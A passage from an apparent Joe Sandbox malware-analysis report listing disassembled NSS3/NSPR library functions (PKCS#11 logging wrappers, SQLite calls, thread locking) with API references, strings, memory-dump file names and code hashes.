PR_LogPrint.NSS3(?,00000000), ref: 6CE82E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE82E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE82E81

Strings

ulPinLen = %d, xrefs: 6CE82E7C
hSession = 0x%x, xrefs: 6CE82E0E, 6CE82E1E
(CK_INVALID_HANDLE), xrefs: 6CE82E2C
pPin = 0x%p, xrefs: 6CE82E63
C_InitPIN, xrefs: 6CE82DF1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 6bb646ee3744de1a209fd92def8e3b6b0203879c53b7a64cfcccdfbcccfdb1eb
Instruction ID: 34b17eb80cc2bd02e918907f18cc1724d6c342359e51457909f0c22aeb1b75e1
Opcode Fuzzy Hash: 6bb646ee3744de1a209fd92def8e3b6b0203879c53b7a64cfcccdfbcccfdb1eb
Instruction Fuzzy Hash: 7D313871E12104AFDB10DB55DD8CB4A3B75EB4631CF254425E80DABB51DB319D08CBB9

Function 6CE86EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CE86F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE86F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE86F53

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE86F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE86F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE86FA1

Strings

hSession = 0x%x, xrefs: 6CE86F2E, 6CE86F3E
(CK_INVALID_HANDLE), xrefs: 6CE86F4C
ulPartLen = %d, xrefs: 6CE86F9C
C_DigestUpdate, xrefs: 6CE86F11
pPart = 0x%p, xrefs: 6CE86F83

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 46ed38e41f8cd321b7332e6351a35713bf46d2ade4e75c01a0f5166d13d7002b
Instruction ID: e4ed862c1a3376c31d7401b558054cee74b1c29953d3cf124e38865a13e0a23a
Opcode Fuzzy Hash: 46ed38e41f8cd321b7332e6351a35713bf46d2ade4e75c01a0f5166d13d7002b
Instruction Fuzzy Hash: 7C310770A22104AFDB40DF15DD89B4A37B5EB4231DF194429E80CABB51DB31DD08CBA5

Function 6CE87E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CE87E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE87E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE87E63

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE87E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE87E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE87EB1

Strings

hSession = 0x%x, xrefs: 6CE87E3E, 6CE87E4E
C_VerifyUpdate, xrefs: 6CE87E21
(CK_INVALID_HANDLE), xrefs: 6CE87E5C
ulPartLen = %d, xrefs: 6CE87EAC
pPart = 0x%p, xrefs: 6CE87E93

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: b22213fdbb68aa80f32a000a5da96252a73fc02463a99ce70b5ad32af76789b8
Instruction ID: 992bc899aed2e02f2673bf58bc7e177f45fe5bb82d0f6402405ba7e8fb3e4d87
Opcode Fuzzy Hash: b22213fdbb68aa80f32a000a5da96252a73fc02463a99ce70b5ad32af76789b8
Instruction Fuzzy Hash: 4131E474F12104AFDB509B15DD88F8A3BB1AB4231CF194429F80DABB51DB319D08CBB9

Function 6CE87F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CE87F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE87F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE87F93

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE87FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE87FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE87FE1

Strings

hSession = 0x%x, xrefs: 6CE87F6E, 6CE87F7E
pSignature = 0x%p, xrefs: 6CE87FC3
(CK_INVALID_HANDLE), xrefs: 6CE87F8C
C_VerifyFinal, xrefs: 6CE87F51
ulSignatureLen = %d, xrefs: 6CE87FDC

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 5a4e7e9cb0c1756321114e544eacbb2759bdfd5b5cd33985ccca1cba7239bb58
Instruction ID: a4c20ff25a6f99577a0f27879b35e5876928e39dfa002b491820e31b05bd9c30
Opcode Fuzzy Hash: 5a4e7e9cb0c1756321114e544eacbb2759bdfd5b5cd33985ccca1cba7239bb58
Instruction Fuzzy Hash: 0C314631B02004AFDB10DB55DD89F8A3BB1AB4235CF294426F80CABB11DB319C48CBA9

Function 6CF22D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF22D9F

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

sqlite3_exec.NSS3(?,?,6CF22F70,?,?), ref: 6CF22DF9
sqlite3_free.NSS3(00000000), ref: 6CF22E2C
sqlite3_free.NSS3(?), ref: 6CF22E3A
sqlite3_free.NSS3(?), ref: 6CF22E52
sqlite3_mprintf.NSS3(6CF8AAF9,?), ref: 6CF22E62
sqlite3_free.NSS3(?), ref: 6CF22E70
sqlite3_free.NSS3(?), ref: 6CF22E89
sqlite3_free.NSS3(?), ref: 6CF22EBB
sqlite3_free.NSS3(?), ref: 6CF22ECB
sqlite3_free.NSS3(00000000), ref: 6CF22F3E
sqlite3_free.NSS3(?), ref: 6CF22F4C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: de9573c3637955455417eb8e029bcf9432b50dbdb503c9f02cacbea945ff8c54
Instruction ID: b7dc7d97d63edaa57fbfda160d57ed3cd8874b70cb801c66e92d6665052a7fb4
Opcode Fuzzy Hash: de9573c3637955455417eb8e029bcf9432b50dbdb503c9f02cacbea945ff8c54
Instruction Fuzzy Hash: B4618FB5E116058BEB10CFE8D894BDEB7B1EF48358F154028DC15AB711EB3AE845CBA1

Function 6CE67C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB2120,Function_00097E60,00000000,?,?,?,?,6CEE067D,6CEE1C60,00000000), ref: 6CE67C81

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

TlsGetValue.KERNEL32 ref: 6CE67CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE67CB4
PR_Unlock.NSS3 ref: 6CE67CCF

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

TlsGetValue.KERNEL32 ref: 6CE67D04
EnterCriticalSection.KERNEL32(?), ref: 6CE67D1B
realloc.MOZGLUE(-00000050), ref: 6CE67D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE67DF4
PR_Unlock.NSS3 ref: 6CE67E0E

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: a5c0ef7a6038159591c78382beeec4337d2159eb3e6826578985c3ebe4b49179
Instruction ID: 4f062a73b3ae87c48307a72e1717284b7e2a0c80fac2673c87a0d6a7be45a892
Opcode Fuzzy Hash: a5c0ef7a6038159591c78382beeec4337d2159eb3e6826578985c3ebe4b49179
Instruction Fuzzy Hash: 02512575EB4100ABDB40AF2ADC84B6577B5EB0331CF364529ED1887B22EB329855CB91

Function 6CDD4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4D97
PR_Lock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DBA
PR_WaitCondVar.NSS3 ref: 6CDD4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4DEF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: bae2d7111ae86af2cebbd90dcf86dffce32dea20c94f2fb93fa20c7e596242c9
Instruction ID: 6570af67faec972f053b063e70770f7a5dd04eb09965e7448286954382670e85
Opcode Fuzzy Hash: bae2d7111ae86af2cebbd90dcf86dffce32dea20c94f2fb93fa20c7e596242c9
Instruction Fuzzy Hash: 75417DB5E14715CFCB40AF7DE088659BBF4BF05314F168669D8989BB20EB30E884CB95

Function 6CF67CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF67CE0

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67D36
PR_Realloc.NSS3(?,00000080), ref: 6CF67D6D
PR_GetCurrentThread.NSS3 ref: 6CF67D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF67DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67DD8
malloc.MOZGLUE(00000080), ref: 6CF67DF8
PR_GetCurrentThread.NSS3 ref: 6CF67E06

Strings

:%s:%d:0x%lx, xrefs: 6CF67DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF67DF0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 00fff0480bd5c40af09c3d6dba6e76842af3b30f6d18debf3d54a3cd780b9210
Instruction ID: 3c13bc4a2b796cdb86f1067231e2882a276450ccb8c84d43dbd6aa165aa2976f
Opcode Fuzzy Hash: 00fff0480bd5c40af09c3d6dba6e76842af3b30f6d18debf3d54a3cd780b9210
Instruction Fuzzy Hash: A441D9B16002019FDB08CF2ADC80A6B37B6FF84318B25496DE8199BF51DB31ED41CB91

Function 6CF67E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF67E46

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF67EAF
PR_ImportFile.NSS3(?), ref: 6CF67ECF
PR_GetCurrentThread.NSS3 ref: 6CF67ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF67F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF67F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF67F15

Strings

%d:0x%lx, xrefs: 6CF67EA9
NSPR_INHERIT_FDS, xrefs: 6CF67E41

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 580016b3fd155050ab479285fd2a214616c9a75f1ecefb88061c2f6460d43187
Instruction ID: f22b76dc777e97e11c721295aa6c3403214493c17f5be7a4e695870f98e6c8ce
Opcode Fuzzy Hash: 580016b3fd155050ab479285fd2a214616c9a75f1ecefb88061c2f6460d43187
Instruction Fuzzy Hash: 3C312172E081199BEB009BABC840AEBB7B9EF15348F204967D81597E12F7619D08C7D2

Function 6CE74E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE74E90
EnterCriticalSection.KERNEL32 ref: 6CE74EA9
TlsGetValue.KERNEL32 ref: 6CE74EC6
EnterCriticalSection.KERNEL32 ref: 6CE74EDF
PL_HashTableLookup.NSS3 ref: 6CE74EF8
PR_Unlock.NSS3 ref: 6CE74F05
PR_Now.NSS3 ref: 6CE74F13
PR_Unlock.NSS3 ref: 6CE74F3A

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

bUl, xrefs: 6CE74E5C
bUl, xrefs: 6CE74F3F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 7fb21b96f584deceb56597d12d589f12f1f176e7cc784e4e8b18041f3f7f9810
Instruction ID: 22de6a19da47c7324c94aae0f8267befc672e03f94c435b61ee8d057683ac38a
Opcode Fuzzy Hash: 7fb21b96f584deceb56597d12d589f12f1f176e7cc784e4e8b18041f3f7f9810
Instruction Fuzzy Hash: 924159B4A00605DFCB00EF68D0849AAFBF0FF49354B118669EC599B710EB30E855CFA1

Function 6CE9ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CE9DE64), ref: 6CE9ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9ED22

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PL_FreeArenaPool.NSS3(?), ref: 6CE9ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CE9ED6B
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE9ED38

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CE9ED52
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE9ED83
PL_FreeArenaPool.NSS3(?), ref: 6CE9ED95
PL_FinishArenaPool.NSS3(?), ref: 6CE9ED9D

Part of subcall function 6CEB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEB127C,00000000,00000000,00000000), ref: 6CEB650E

Strings

security, xrefs: 6CE9ED06

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 523bfcbd06a925010379965e46f65e904107155a45925a790a7c0a0444167f77
Instruction ID: c70013094ba751515a9827023ed2055999a580acd5a5714edc6e9dae65fb410d
Opcode Fuzzy Hash: 523bfcbd06a925010379965e46f65e904107155a45925a790a7c0a0444167f77
Instruction Fuzzy Hash: 9F116A75D00A046BE6145775AC84BBFB27CBF0260CF250928E94473F60FB36A50D86E6

Function 6CE82CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CE82CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CE82D07

Part of subcall function 6CF609D0: PR_Now.NSS3 ref: 6CF60A22
Part of subcall function 6CF609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF60A35
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF60A66
Part of subcall function 6CF609D0: PR_GetCurrentThread.NSS3 ref: 6CF60A70
